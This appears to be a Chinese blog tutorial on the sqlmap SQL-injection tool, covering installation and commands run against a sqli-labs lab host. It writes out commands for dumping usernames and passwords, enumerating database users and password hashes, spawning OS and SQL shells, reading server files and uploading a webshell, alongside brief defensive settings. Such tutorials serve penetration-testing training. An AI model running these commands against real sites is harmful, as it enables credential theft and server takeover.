渗透测试之SQLmap使用详解

admin 2021年12月22日02:04:18评论462 views字数 4988阅读16分37秒阅读模式

目录:

渗透测试之SQLmap使用详解

SQLmap

介绍

SqlMapPython语言编写的开源的渗透测试工具,它可以自动探测和利用SQL 注入漏洞来接管数据库服务器

支持的数据库MySQL、Oracle、 Microsoft SQL Server、PostgreSQL、 Microsoft AccessIBM DB2、 SQLite、Firebird、Sybase 和 SAP MaxDB等25种数据库

用途 :注入测试工具、网站入侵工具

项目地址:SQLmap官网:http://sqlmap.org/

Github网 址:https://github.com/sqlmapproject/sqlmap

SQLmap功能:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户的选择,读取哪些数据

5、可执行情况

6、当前数据库用户名称和拥有的权限

7、发现WEB虚拟目录

8、上传getshell

9、绕过防火墙


安装:
windows系统下的安装方法

1、SQLmap是基于python开发的,所以要有python环境。在python官网:https://www.python.org/ 下载与自己操作系统 匹配的环境,并安装。※注意:2.6≤所需版本<3.0

2、将SQLmap从官网上下载下来,并安装到python的运行目录下,在sqlmap的目录中,创建一个cmd的快捷方式,并改名为 sqlmap,双击便可直接运行

3、输入执行sqlmap.py -h 若显示一下界面,说明安装完成

渗透测试之SQLmap使用详解

linux系统下的安装方法

在linux终端中输入如下命令,进行安装

1、wget https://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master //下载sqlmap

2、tar zxvf master //解压压缩包

3、cd sqlmapproject-sqlmap-310d79b///进入解压目录

4、python sqlmap.py -h  //开始使用

5、kali系统下集成了SQLmap,在终端直接输入sqlmap命令即可使用

渗透测试之SQLmap使用详解

SQLMap目录详解

渗透测试之SQLmap使用详解

SQLmap的基本使用
SQLMap支持六种注入方式:

渗透测试之SQLmap使用详解

基本流程如下

*探测是否有waf

说明:使用 SQLMap 中自带的 WAF识别模块 可以识别出WAF的种类

用法:sqlmap -u “http://xxx.com” --identify-waf --batch

结果:识别出WAF类型为 XXX Web Application Firewall 如果安装的waf没有什么特征,识别出来的就是:Generic

注意:详细的识别规则在sqlmap的waf目录下,也可以自己编写规则,写好了直接放在waf目录下即可

渗透测试之SQLmap使用详解

1、检查是否存在注入点

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1"

参数:-u #目标 URL

 

2、查看所有数据库

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" --dbs

参数:-u#目标 URL 、 --dbs #所有数据库


3、查看当前使用的数据库

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" --current-db

参数:-u#目标 URL --current-db #查看网站当前的数据库

 

4、查看表名

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security --tables

参数:-u# 目标 URL  -D# 指定数据库  --tables #列出表名

 

5、列出所有字段名

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

参数:-u# 目标 URL  -D# 指定数据库 -T# 指定表名 --columns #列出所有的字段名

6、列出字段内容(数据)

sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,  password --dump

参数:-u# 目标 URL  -D# 指定数据库 -T# 指定表名  -C# 指定字段

--dump #列出字段内容,转存数据(犯法啊)

 

7、删除记录

(1)sqlmap.py --purge

(2)删除sqlmap的output文件夹

windows路径:c:uersappdatalocalsqlmap

liinux路径:/home/test/sqlmap        /root/.sqlmap

 

SQLmap常用参数

1、输出级别参数(Output verbosity)

参数:-v

使用方法:-v <级别> 如:sqlmap -u [URL] -v 3

参数详情:SQLmap的输出信息按从简到繁,从0-6共分为7个级别,默认的输出级别为1。

渗透测试之SQLmap使用详解

2、探测等级参数

参数:--level

使用方法:--level <级别> 如:sqlmap -u [URL] -level 3

渗透测试之SQLmap使用详解

3、测试权限

参数:--is-dba

用法:sqlmap -u [URL] --is-dba //测试当前用户是否为管理员

参数:--roles

用法:sqlmap -u [URL] --roles //查看数据库用户具有的权限

参数:--privileges

用法:sqlmap -u [URL] --privileges //测试所有用户的权限

sqlmap -u [URL] --privileges -U sa //测试sa用户的权限

渗透测试之SQLmap使用详解

4、测试用户信息

参数:--users //枚举所有用户

参数:--passwords //枚举所有密码

用法:sqlmap -u [URL] --users --passwords

渗透测试之SQLmap使用详解

参数:--current-user //显示当前用户

参数:--current-db //显示当前数据库名称

渗透测试之SQLmap使用详解

5、执行shell命令

参数:-os-cmd / -os-shell

使用方法:sqlmap -u [URL] -- os-cmd= " net user " //执行net user命令

sqlmap -u [URL] -- os-shell //系统交互式的shell

限制:1、需要有权限使用特定函数 2、数据库为mysql、postgresql和sqlserver

 

6、POST提交方式

参数:1.-data //通过post方式提交参数

2.-r txt文件 //读取文件中的HTTP数据包内容用来测试POST注入和HTTP Header注入

使用方法:sqlmap -u [URL] --data "POST参数"  sqlmap -u [URL] -r ".txt文件"

指定cookie

渗透测试之SQLmap使用详解

7、指定user-agent

渗透测试之SQLmap使用详解

8、指定referer

渗透测试之SQLmap使用详解

9、列举数据库管理系统信息

参数:-b 或 --banner

用法:sqlmap -u [URL] --banner

说明:返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。

渗透测试之SQLmap使用详解

10、--tamper参数

渗透测试之SQLmap使用详解

SQLMap的SQL语句执行

1、交互式的SQL命令行

参数:--sql-shell

用法:sqlmap -u [URL] --sql-shell

说明:该参数可直接获得交互式的SQL命令shell,我们可以在此直接输入想要执行的SQL语句并实时取得回显,输 入x或者q退出交互式命令行

 

2、执行指定SQL语句

参数:--sql-query

用法:sqlmap -u [URL] --sql-query=“sql语句” sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1

--sql-query "select user(),version(),database()"

说明:该命令直接执行指定的SQL语句

注意:执行一次都会对网站注入一遍,比--sql-shell效率低

 

3、执行文件中的SQL语句

参数:--sql-file

用法:sqlmap –u [URL] --sql-file=sql文件

说明:参数可以直接执行SQL文件中的语句。

举例:新建一个SQL文件,如:1.sql

内容为:select version();select @@datadir;

sqlmap工具中输入 sqlmap -u

--sql-file=1.sql

如上,MySQL的版本、MySQL数据库存放的路径都被查询到

渗透测试之SQLmap使用详解

SQLMap的文件操作

危害:

如果当前web页面存在SQL注入漏洞,且当前的用户root权限,且可以进行文件读写操作

我们可以在知道绝对路径的情况下,尝试上传一个一句话木马,并用菜刀连接后,获取到网站的getshell

SQL注入导致的文件读写的防御方法

1 将secure-file-priv的参数在my.ini中配置为 secure-file-priv=null 将会限制mysqld不允许导入导出操作,secure-file-priv的配置,可以通过语句:select @@secure_file_priv 查询

2 在用户输入可控参数时,对敏感语句进行过滤

读取文件

参数:--file-read

用法:sqlmap -u [URL] --file-read “文件绝对路径”

说明:该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件

原理:利用mysql的load_file函数 如:load_file('c:/windows/win.ini')

条件:

文件必须在服务器上

已知绝对路径

具有读文件权限查询语句[select File_priv from mysql.user where user="root" and host="localhost"]

具有特定的函数执行特权,一般要求root

数据库为mysql、postgresql和sqlserver

max_allowed_packed//读写文件最大的字节数

上传文件

参数:--file-write --file-dest

用法:sqlmap -u [URL] --file-write “写入本地文件的地址” --file-dest “要写入的文件绝对路径”

说明:该命令用于写入本地文件到服务器中,上传的文件可以是文本,也可以是二进制文件

原理:利用mysql的into outfile函数 如:union select 1,2, 'aaa' into outfile 'C:\phpstudy_pro\www\test1.txt'

条件:

文件必须在服务器上

已知绝对路径

有写文件权限 (secure-file-priv是否被禁用,是否有目录权限等等)

必须能绕过单引号过滤

具有特定的函数执行特权,一般要求root

数据库为mysql、postgresql和sqlserver

实验:读取与写入文件

渗透测试之SQLmap使用详解


渗透测试之SQLmap使用详解


渗透测试之SQLmap使用详解


渗透测试之SQLmap使用详解

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗渗透测试之SQLmap使用详解

往期文章有彩蛋哦渗透测试之SQLmap使用详解

渗透测试之SQLmap使用详解

一如既往的学习,一如既往的整理,一如即往的分享。渗透测试之SQLmap使用详解

如侵权请私聊公众号删文




本文始发于微信公众号(渗透Xiao白帽):渗透测试之SQLmap使用详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日02:04:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之SQLmap使用详解https://cn-sec.com/archives/459006.html

发表评论

匿名网友 填写信息